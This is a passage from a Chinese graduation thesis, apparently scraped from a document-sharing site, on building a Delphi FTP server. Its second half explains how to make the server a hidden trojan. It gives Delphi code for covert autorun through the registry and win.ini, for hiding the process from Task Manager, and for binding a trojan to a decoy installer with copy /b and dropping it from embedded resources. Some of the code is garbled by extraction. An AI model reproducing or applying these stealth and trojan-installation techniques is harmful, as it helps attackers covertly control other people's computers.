工具条上的按钮控件:属于ToolButton1 类 ToolButton1 用于下达远程 FTP服务器启动服务的指令, Caption属性设置为“启动服务” 工具条上的按钮控件:属于ToolButton1 类 ToolButton3 用于下达远程 FTP服务器停止服务的指令, Caption属性设置为“停止服务” 工具条上的按钮控件:属于ToolButton1 类 ToolButton5 用于更改 FTP 服务器的工作端口,Caption 属性设置为“服务端口” 工具条上的按钮控件:属于ToolButton7 用于清除 FTP 服务器产生的日志内无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: ToolButton1 类 容, Caption 属性设置为“清除日志” 工具条上的按钮控件:属于ToolButton1 类 ToolButton9 用于显示本程序的关于信息,Caption 属性设置为“关于” 工具条上的按钮控件:属于ToolButton1 类 ToolButton11 用下下达退出当前应用程序的指令, Caption 属性设置为“退出” 图片列表控件:属于 TImagesList类 ImagesList1 用于存放ToolButton 中应用的图标。 FTPServer 控件:属于 TFTPServer类 FTPServer1 处理 FTP 服务 的核心控件,它的属性设置为默认值即可 主菜单设计控件:属于 TMainMenu类 MainMenu1 为浏览器的主菜单,这包含了 2 个子菜单分别命名为文件,关于 状态显示条控件:属于 TStatusBar类 StatusBar1 用于显示程序运行时已经连接的客户机数目 5.3.2 FTP 服务器功能的实现 启动服务 :调用 FtpServer 的 Start 方法即可实现 停止服务:调用 FtpServer 的 Stop 方法即可实现,在停止后还要断开所有客户机的连接 FtpServer.DisconnectAll。 端口设 置:利用输入框把用户输入的数字经带默认值的转换函数无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 转换赋值 FtpServer 的 Port 属性即可 清除日志:调用 TMemo 的 Clear 方法就可轻松实现 关于:可以调用系统 API 函数来显示也可自行设计窗体实现, API函数的调用方法在前面以经介绍过不再重复 退出:调用 Close 方法即可,在 Close 事件中加入停止服务和断开连接的相应语句 运行结果: 程序编译后,单击“启动服务”按钮, FTP 服务器开始工作;单击“停止服务”按钮, FTP 服务器停止服务;单击“服务端口”按钮,设置自定的端口进行 FTP 服务;单击“消除日志 ”按钮,程序将清除日志中的内容;单击“退出”按钮,系统断开所有连接并退出。程序运行结果如图 5-4 所示 : 图 5-4 FTP 服务器运行结果 5.4 FTP 服务器端应用扩展分析 很多人可能都对骇客程序感兴趣,得用上面的两个工具就可以组成一个很好用的远程文件控制工具。一个好的工具是在别人不知不觉时默默工作的,下面讨论几种常用的手法来藏匿、启动自己的服无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 务器软件。 5.4.1 注册自动运行的几种方法 注册自动运行就是当开机时操作系统启动后根据注册表信息自动运行的一些程序。讨论的几种方法就是如何操作注册表,在编译程序时在 Unit 中加入 IniFiles 和 Registry 单元。 操作 Win.ini 文件中的 Run 项目,具体代码如下: Procedure SetWinIni; Var Test:TRegistry; iniFile:TIniFile; Path:String; Begin Test:TRegistry.create; Test.rootkey:=HKEY_LOCAL_MACHINE; If test.openkey(software microsoftwindowscurrentversion,false) then Path:=test.readstring(systemroot); /获得 WINDOWS 系统目录 caption:=Path test.free; /获得 Win.ini 的完整路径 path:=path+ win.ini; inifile:=tinifile.create(path); inifile.writestring(windows,run,application.exename); /run=执行文件名 inifile.free; end; 设置程序菜单中的启动项目,并添加自运行项目。这种方法太容无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 易被发现,所以不推荐使用。代码如下: procedure setstartup; var test:tregistry; begin test:=tregistry.create; Test.rootkey:=HKEY_USERS; If Test.openkey(.defaultsoftwaremicrosoftwindowscurrentversionexplorershell folders,false) then Test.writestring(startup,application.exename); /获得 ” 启动 ” 程序项准确目录 caption:=test.readstring(startup); test.free; end; 设置注册表中的启动运行项目,这种方法比较隐蔽,不易察觉。代码如下: Procedure SetMyProgram; Var Test:tregistry; Begin Test:TRegistry.create; Test.rootkey:=HKEY_LOCAL_MACHINE; If test.openkey(software microsoftwindowscurrentversion,false) then Test.writestring(my program,application.exename); Caption:=test.readstring(my program); Test.free; End; 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 5.4.2 防止程序多次重复 运行 大制作利用端口进行服务的程序时,经常要防止程序的重复执行,因为同一份拷贝在运行时会使用相同的 IP 地址和相同端口,必然会产生冲突。下面讨论几种常用的防止程序二次运行的方法。它们的核心就是要在程序启动过程中查找到程序是否已经运行了。 利用 Windows API 函数 FindWindows()查找窗口是否存在恢复Application和 Title 值上述步骤一般在主窗体的 OnCreate 事件中实现,代码如下: Procedure tform2.formcreate(sender:tobject); Var Zappname:array0.127 of char; Hold:string; Found:HWND; Begin Hold:=application.tile; /暂时修改窗口标题 application.title:=onlyone+inttostr(hinstance); /原窗口标题 strpcopy(zappname,hold); /查找窗口 found:=findwindow(nil,zappname); /恢复窗口标题 application.title:=hold; if found0 then begin /若找到则激活已运行的程序并结束自身 showwindow(found,sw_restore); application.terminate; end; end; 在 .DPR件中加上如下代码: if hprevinst =0 then begin 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: /检查没有再调用 application.createform(myform,myform); application.run; end; 创建标题法,如果在创建 过程中发现已经有该标题的存在则退出,代码如下: program del3test; uses forms,windows,sysutils, del3unit in del3unit.pasform1; $R *.RES var hmutex:hwnd; ret:integer; begin application.initialize; application.title:=运行一次 ; hmutex:=createmutex(nil,false, 运行一次 ); ret:=getlasterror; if reterror_already_exists then begin application.createform(tform1,form1); application.run; end; else application.messagebox(程序已经运行 ,notes!,MB_OK); releasemutex(hmutex); end. 5.4.3 任务管理器中的隐形 上面讨论到的方法并不能使程序完全隐身,当你用 Ctrl-Alt-Del组合键来执行任务管理器时会发现程序的标题出现在这时。那么怎无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 么样才能隐藏应用程序不让它出现在任务管理器中呢?方法有几种 , 常 见 的 是 清 除 程 序 主 窗 口 的 标 题 , 还 有 就 是 调 用RegisterServiceProcess API 函数将程序注册成为一个服务模式程序。需要注意的是 Windows NT 下没有 RegisterServiceProcess 函数。 方法一:清除标题法 program project1; uses forms, unit1 in unit1.pasform1; $R *.RES begin /此处设置标题的清除 application.title:=; application.initialize; application.createform(tform1,form1); application.run; end. 另一种方法是: 在应用常量中加入以下代码: const RSP_SIMPLE_SERVICE=1; RSP_UNREGISTER_SERVICE=0; 在函数声明中加入以下代码: procedure registerserviceprocess(dwprocessid, dwtype:dword);stdcall external kernel32.dll; function getcurrentprocessid():dword;stdcall external kernel32.dll 现在就可以使用 RegisterServiceProcess 函数了。 Procedure tform1.formcreate(sender:tobject); Begin Setwindowlong(application.handle,gwl_exstyle,ws_ex_toolwindo无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: w); RegisterServiceProcess(getcurrentprocessid(),RSP_SIMPLE_SERVICE); End; 5.4.4 可执行文件的藏匿 在木马的种植中有很多种方法,下面讨论一下如何利用普通应用程序来设置安装运行木马程序。它的原理很简单,其实就是制作一个安装程序,但它是暗地里进行的。自制的最简单的安装程序有多种,最简单的就是用“ copy/b setup.exe+run.exe set.exe” 把需要运行的程序加载在前一 个可执行程序后面, setup.exe 文件的职责有两个,其一是显示假象让别人不知道这是一个木马安装程序,其二就是真实目的从指定字长定位将木马服务程序截取下来并运行安装,由于木马服务部分已经采用了“隐形”技术,所以根本不会察觉,代码部分就是定拷贝,这里不再阐述。还有一种方法是在资源文件 (.RES)中预先装入木马,并以数据形式存于当前可执行程序,在合适的时机释放即可。讨论目的不是为了破坏,而是更好的了解更好的了解木马机制而防范于未然和更好的提高个人的编程水平。下面这段代码可用于从资源文件中释放指定的文件。代码如下 : procedure res_savetofile(form:pchar;fileto:strin); var tempdir:string; buf:pointer; size:longint; h,reshandle:cardinal; zip:file; begin h:=getmodulehandle(pchar(extractfilename(paramstr(0); tempdir:=; reshandle:=findresource(h,makeintresource(1),DAT); buf:=pointer(loadresource(h,reshandle); size:=sizeofresource(h,reshandle); 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: assignfile(zip,tempdir+fileto); rewrite(zip,1); try blockwrite(zip,buf,size) finally closefile(zip); end; end; 资源文件 test.rc 制作如下: 内容: 1 DAT “test.ext” 制作: BRCC32 test.rc 在资源文件处加入: $R *.dfm /加入 TEST.R

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论